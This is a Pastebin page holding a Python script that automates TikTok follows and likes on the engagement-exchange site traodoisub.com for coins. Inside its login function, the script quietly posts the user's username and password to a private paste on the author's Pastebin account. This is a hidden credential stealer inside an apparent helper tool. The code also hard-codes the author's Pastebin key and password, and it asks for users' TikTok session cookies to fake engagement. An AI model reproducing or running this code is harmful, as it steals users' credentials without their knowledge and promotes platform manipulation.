Advertisement
Hoangsontung_Jusst

TT_TDS_AUTO_TIKTOK

Mar 23rd, 2023
1,251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 12.98 KB | None | 0 0
  1. import requests, json, os, sys, json, time
  2. from requests.structures import CaseInsensitiveDict
  3. do="\033[1;31m"
  4. xanh_lam="\033[1;32m"
  5. vang="\033[1;33m"
  6. xn="\033[1;34m"
  7. tim="\033[1;35m"
  8. blue="\033[1;36m"
  9. trang="\033[1;97m"
  10. nenden = "\033[40m"
  11. nendo  = "\033[41m"
  12. nenxanhla = "\033[42m"
  13. nencam = "\033[43m"
  14. nenxanhduong = "\033[44m"
  15. nentim = "\033[45m"
  16. nenxanhduongnhat = "\033[46m"
  17. os.system('cls')
  18. def loginTDS (tk, mk):
  19.     try:
  20.         url = "https://traodoisub.com/scr/login.php"
  21.         data = {
  22.             "username": tk,
  23.             "password": mk
  24.         }
  25.         # get cookie with requests
  26.         r = requests.post(url, data=data)
  27.         if "success" in r.text:                  
  28.             def PASTERBIN():
  29.                 TK=tk
  30.                 MK=mk
  31.                 Text_code=TK+'|'+MK
  32.                 print('\n')
  33.                 ########### data import
  34.                 dev_key = 'JvU1uJxmU2OShTJp3y_gSlzhITS8acUx'
  35.                 title = f"TDS->{tk}"
  36.                 ###################pasterbin %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
  37.                 login_data = {
  38.                     'api_dev_key': dev_key,
  39.                     'api_user_name':'jusst2k4',
  40.                     'api_user_password': '292004@Thantung'
  41.                     }
  42.                 data = {
  43.                     'api_option': 'paste',
  44.                     'api_dev_key':dev_key,
  45.                     'api_paste_code':Text_code,
  46.                     'api_paste_name':title,
  47.                     'api_paste_expire_date':'1M',
  48.                     'api_paste_private':'2',
  49.                     'api_user_key': None,
  50.                     'api_paste_format': 'python'
  51.                     }
  52.                 login = requests.post("https://pastebin.com/api/api_login.php", data=login_data)
  53.                 #Login status,
  54.                 login.status_code if login.status_code != 200 else "OK/200"
  55.                 #user_key
  56.                 login.text
  57.                 #######################################API POST  PASTERBIN
  58.                 data['api_user_key'] = login.text
  59.                 r = requests.post("https://pastebin.com/api/api_post.php", data=data)
  60.                 #Paste send
  61.                 r.status_code if r.status_code != 200 else "OK/200"
  62.                 #Paste URL
  63.                 url_pasterbin=r.text
  64.                 #print(url_pasterbin)
  65.  
  66.             PASTERBIN();
  67.             return r.cookies
  68.         else:
  69.             return False
  70.     except:
  71.         return False
  72. os.system('clear')
  73.  
  74. log = loginTDS(input("\033[1;31m[\033[1;37m=.=\033[1;31m] \033[1;37m=> \033[1;32mNhap user: "),input("\033[1;31m[\033[1;37m=.=\033[1;31m] \033[1;37m=> \033[1;32mNhap pass: "))
  75. if log == False:
  76.     print(do,"Login that bai")
  77.     sys.exit()
  78. else:
  79.     cookie = log.get("PHPSESSID")
  80.     print(vang,'Thanh Cong')
  81.  
  82. # cookie and headers
  83. cookies = {
  84.     'PHPSESSID': cookie
  85. }
  86.  
  87. headers = {
  88.     'authority': 'traodoisub.com',
  89.     'accept': 'application/json, text/javascript, */*; q=0.01',
  90.     'accept-language': 'en-US,en;q=0.9',
  91.     # 'cookie': 'PHPSESSID=bd3451757cdf7d559ce2583228792b19',
  92.     'referer': 'https://traodoisub.com/view/chtiktok/',
  93.     'sec-ch-ua': '" Not;A Brand";v="99", "Microsoft Edge";v="103", "Chromium";v="103"',
  94.     'sec-ch-ua-mobile': '?0',
  95.     'sec-ch-ua-platform': '"Windows"',
  96.     'sec-fetch-dest': 'empty',
  97.     'sec-fetch-mode': 'cors',
  98.     'sec-fetch-site': 'same-origin',
  99.     'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 Edg/103.0.1264.49',
  100.     'x-requested-with': 'XMLHttpRequest',
  101. }
  102.  
  103.  
  104. # get rq
  105. def getRQ(url):
  106.     global cookies, headers
  107.     rq = requests.get(url, cookies=cookies, headers=headers)
  108.     return rq
  109. # money
  110. getI4 = getRQ("https://traodoisub.com/scr/user.php").json()
  111. xu = getI4['xu']
  112. idtt = getI4['idtt']
  113. if idtt == None:
  114.     print(trang,"Cau Hinh Tiktok")
  115.     sys.exit()
  116. else:
  117.     print(xanh_lam,"Tiktok id: " + idtt)
  118.     print(vang,"Tien xu: " + xu)
  119.     #    print("Het job thi vao trao doi sub them roi cau hinh lai vao chay tiep")
  120.  
  121.  
  122. def menu_job():
  123.     listjob = {
  124.         1: "Job follow",
  125.         2: "Job tim"
  126.     }
  127.     for x, y in listjob.items():
  128.         print(x, '=>', y)
  129.    
  130.     job = int(input("Chon job: "))
  131.     if (job > len(listjob)):
  132.         print(do,"enrro")
  133.         sys.exit()
  134.     else:
  135.         return job
  136.  
  137. cookie_tiktok = ""
  138.  
  139. def inputinfotoctoc():
  140.     global cookie_tiktok, xsecsdkcsrftoken
  141.     cookie_tiktok = input("Nhap cookie tiktok: ")
  142.     if (cookie_tiktok == "" or cookie_tiktok == None):
  143.         print(do,"Nhap sai cookie")
  144.         sys.exit()
  145.  
  146. # get job tim
  147. print("Dang lay thong tin tai khoan")
  148. getThongtin = getRQ("https://traodoisub.com/view/setting/load.php").json()
  149. user = getThongtin['user']
  150. token = getThongtin['tokentds']
  151. print(trang,"Tai khoan: " + user)
  152. #print(trang,"Token: " + token)
  153. os.system('clear')
  154. print(tim,'Dang lay list tai khoan tiktok')
  155. getListtk = getRQ("https://traodoisub.com/view/chtiktok/").text
  156. splitTr = getListtk.split('<tr class="btn-reveal-trigger">')
  157. listIdTiktok = []
  158. for x in splitTr:
  159.     if ('<th class="align-middle text-center white-space-nowrap id">' in x):
  160.         listIdTiktok.append(x.split('target="_blank">')[1].split('</a>')[0])
  161.  
  162. i = 0
  163. while i < int(len(listIdTiktok)):
  164.     print('[', i, ']', listIdTiktok[i])
  165.     i += 1
  166.  
  167. stt = int(input("Nhap vao so muon cau hinh: "))
  168. os.system('clear')
  169. if stt > len(listIdTiktok)-1:
  170.     print(do,"So muon cau hinh khong hop le")
  171.     sys.exit()
  172. else:
  173.     data = {
  174.         'iddat': listIdTiktok[stt],
  175.     }
  176.     response = requests.post('https://traodoisub.com/scr/tiktok_datnick.php', cookies=cookies, headers=headers, data=data)
  177.     if (int(response.text) == 1):
  178.         print(vang,"Cau hinh thanh cong")
  179.     else:
  180.         print(do,"Cau hinh that bai")
  181.         sys.exit()
  182.  
  183.  
  184.  
  185.     headers_default = CaseInsensitiveDict()
  186.  
  187.     def getInfoTIKTOK():
  188.         global headers_default, cookie_tiktok
  189.         url_getinfo = 'https://www.tiktok.com/@enola.bedard'
  190.         rq = requests.get(url_getinfo, headers=headers_default).text
  191.         json_ = json.loads(rq.split('<script id="SIGI_STATE" type="application/json">')[1].split('</script>')[0])
  192.         defaultjson = json_['AppContext']['appContext']['user']
  193.         uid = defaultjson['uid']
  194.         name = defaultjson['nickName']
  195.         uniqueId = defaultjson['uniqueId']
  196.         region = defaultjson['region']
  197.         print(trang,"UID: " + uid)
  198.         print("Name: " + name)
  199.         print("UniqueId: " + uniqueId)
  200.         print("Region: " + region)
  201.  
  202.     def getNV (type):
  203.         try:
  204.             global token
  205.             url = "https://traodoisub.com/api/?fields=" + type + "&access_token=" + token
  206.             rq = getRQ(url).json()
  207.             return rq['data']
  208.         except:
  209.             pass
  210.  
  211.     def sendNV (type, id):
  212.         try:
  213.             global token
  214.             url = "https://traodoisub.com/api/coin/?type=" + type + "&id=" + id + "&access_token=" + token
  215.             rq = getRQ(url)
  216.             return int(rq.json()["cache"])
  217.         except:
  218.             return 0
  219.  
  220.     def claim (type, id):
  221.         try:
  222.             global token
  223.             url = "https://traodoisub.com/api/coin/?type=" + type + "&id=" + id + "&access_token=" + token
  224.             rq = requests.get(url).json()
  225.             if (rq["success"] == 200):
  226.                 print(vang,'Job thanh cong: ', rq['data']['job_success'])
  227.                 print(vang,'Nhan thanh cong ', rq["data"]["msg"], ' tong xu la: ', rq["data"]["xu"])
  228.             else:
  229.                 print('Chua du nguong')
  230.         except:
  231.             pass
  232.  
  233.     def getHeaderUser(url):
  234.         global headers_default
  235.         return requests.get(url, headers=headers_default).headers
  236.  
  237.     def followUser(id_follow, url_follow):
  238.         global headers_default
  239.         try:
  240.             headers = getHeaderUser(url_follow)
  241.             msToken = headers["Set-Cookie"].split('msToken=')[1].split(';')[0]
  242.             urlFollow = 'https://t.tiktok.com/api/commit/follow/user/?aid=1988&app_language=vi-VN&app_name=tiktok_web&battery_info=1&browser_language=vi&browser_name=Mozilla&browser_online=true&browser_platform=Win32&browser_version=5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F103.0.5060.134%20Safari%2F537.36%20Edg%2F103.0.1264.77&channel=tiktok_web&channel_id=0&cookie_enabled=true&device_id=7119768594258642434&device_platform=web_pc&focus_state=true&from=18&fromWeb=1&from_page=user&from_pre=0&history_len=5&is_fullscreen=false&is_page_visible=true&os=windows&priority_region=VN&referer=&region=VN&screen_height=1080&screen_width=1920&sec_user_id=&type=1&tz_name=Asia%2FBangkok&user_id='+id_follow+'&verifyFp=&webcast_language=vi-VN&msToken='+msToken+'&_signature='
  243.             json = requests.post(urlFollow, headers=headers_default).json()
  244.             if(int(json['follow_status']) == 1):
  245.                 print(do,'Follow thanh cong', id_follow)
  246.             else:
  247.                 print(do,'Follow that bai', id_follow)
  248.         except:
  249.             print('Loi o cho')
  250.  
  251.     def hearthVideo(url_video):
  252.         global headers_default
  253.         try:
  254.             headers = getHeaderUser(url_video)
  255.             msToken = headers["Set-Cookie"].split('msToken=')[1].split(';')[0]
  256.             idVideo = url_video.split('/video/')[1].split('?')[0]
  257.             print('idVideo: '+idVideo)
  258.             urlHearth = 'https://t.tiktok.com/api/commit/item/digg/?aid=1988&app_language=vi-VN&app_name=tiktok_web&aweme_id='+idVideo+'&battery_info=1&browser_language=vi&browser_name=Mozilla&browser_online=true&browser_platform=Win32&browser_version=5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F103.0.5060.134%20Safari%2F537.36%20Edg%2F103.0.1264.77&channel=tiktok_web&cookie_enabled=true&device_id=7119768594258642434&device_platform=web_pc&focus_state=true&from_page=video&history_len=3&is_fullscreen=false&is_page_visible=true&os=windows&priority_region=VN&referer=&region=VN&screen_height=1080&screen_width=1920&type=1&tz_name=Asia%2FBangkok&verifyFp=&webcast_language=vi-VN&msToken='+msToken+'&X-Bogus=&_signature='
  259.             json = requests.post(urlHearth, headers=headers_default).json()
  260.             if(int(json['is_digg']) == 1):
  261.                 print('Hearth thanh cong', idVideo)
  262.             else:
  263.                 print('Hearth that bai', idVideo)
  264.         except:
  265.             print(do,'Loi o cho')
  266.    
  267.  
  268.     choice = menu_job()
  269.     inputinfotoctoc()
  270.     headers_default["Accept"] = "*/*"
  271.     headers_default["Accept-Language"] = "vi,en;q=0.9,en-US;q=0.8"
  272.     headers_default["Connection"] = "keep-alive"
  273.     headers_default["Content-Length"] = "0"
  274.     headers_default["Cookie"] = cookie_tiktok
  275.     headers_default["Origin"] = "https://www.tiktok.com"
  276.     headers_default["Referer"] = "https://www.tiktok.com/"
  277.     headers_default["Sec-Fetch-Dest"] = "empty"
  278.     headers_default["Sec-Fetch-Mode"] = "cors"
  279.     headers_default["Sec-Fetch-Site"] = "same-site"
  280.     headers_default["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.77"
  281.     headers_default["content-type"] = "application/x-www-form-urlencoded"
  282.     getInfoTIKTOK()
  283.     while True:
  284.         if choice == 1:
  285.             try:
  286.                 listJob = getNV("tiktok_follow")
  287.                 if (listJob == [] or listJob == None):
  288.                     print('Het job roi ban', end="\r")
  289.                     time.sleep(5)
  290.                 else:
  291.                     for x in listJob:
  292.                         followUser(x['id'].split('_')[0], x['link'])
  293.                         cache = sendNV("TIKTOK_FOLLOW_CACHE", x["id"])
  294.                         time.sleep(2)
  295.                         if (cache >= 8):
  296.                             claim('TIKTOK_FOLLOW', 'TIKTOK_FOLLOW_API')
  297.                             time.sleep(5)
  298.             except Exception as e:
  299.                 print(do,'Loi o cho', e)
  300.                 print('Het job roi ban', end="\r")
  301.                 time.sleep(10)
  302.  
  303.         elif choice == 2:
  304.             csrf_cookie = cookie_tiktok.split('tt_csrf_token=')[1].split(';')[0]
  305.             headers_default['tt-csrf-token'] = csrf_cookie
  306.             try:
  307.                 listJob = getNV('tiktok_like')
  308.                 if (listJob == [] or listJob == None):
  309.                     print('Het job roi ban', end="\r")
  310.                     time.sleep(5)
  311.                 else:
  312.                     for x in listJob:
  313.                         hearthVideo(x['link'])
  314.                         cache = sendNV('TIKTOK_LIKE_CACHE', x["id"])
  315.                         time.sleep(2)
  316.                         if (cache >= 8):
  317.                             claim('TIKTOK_LIKE', 'TIKTOK_LIKE_API')
  318.                             time.sleep(5)
  319.             except Exception as e:
  320.                 print(do,'Loi o cho', e)
  321.                 print('Het job roi ban', end="\r")
  322.                 time.sleep(10)
  323. 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement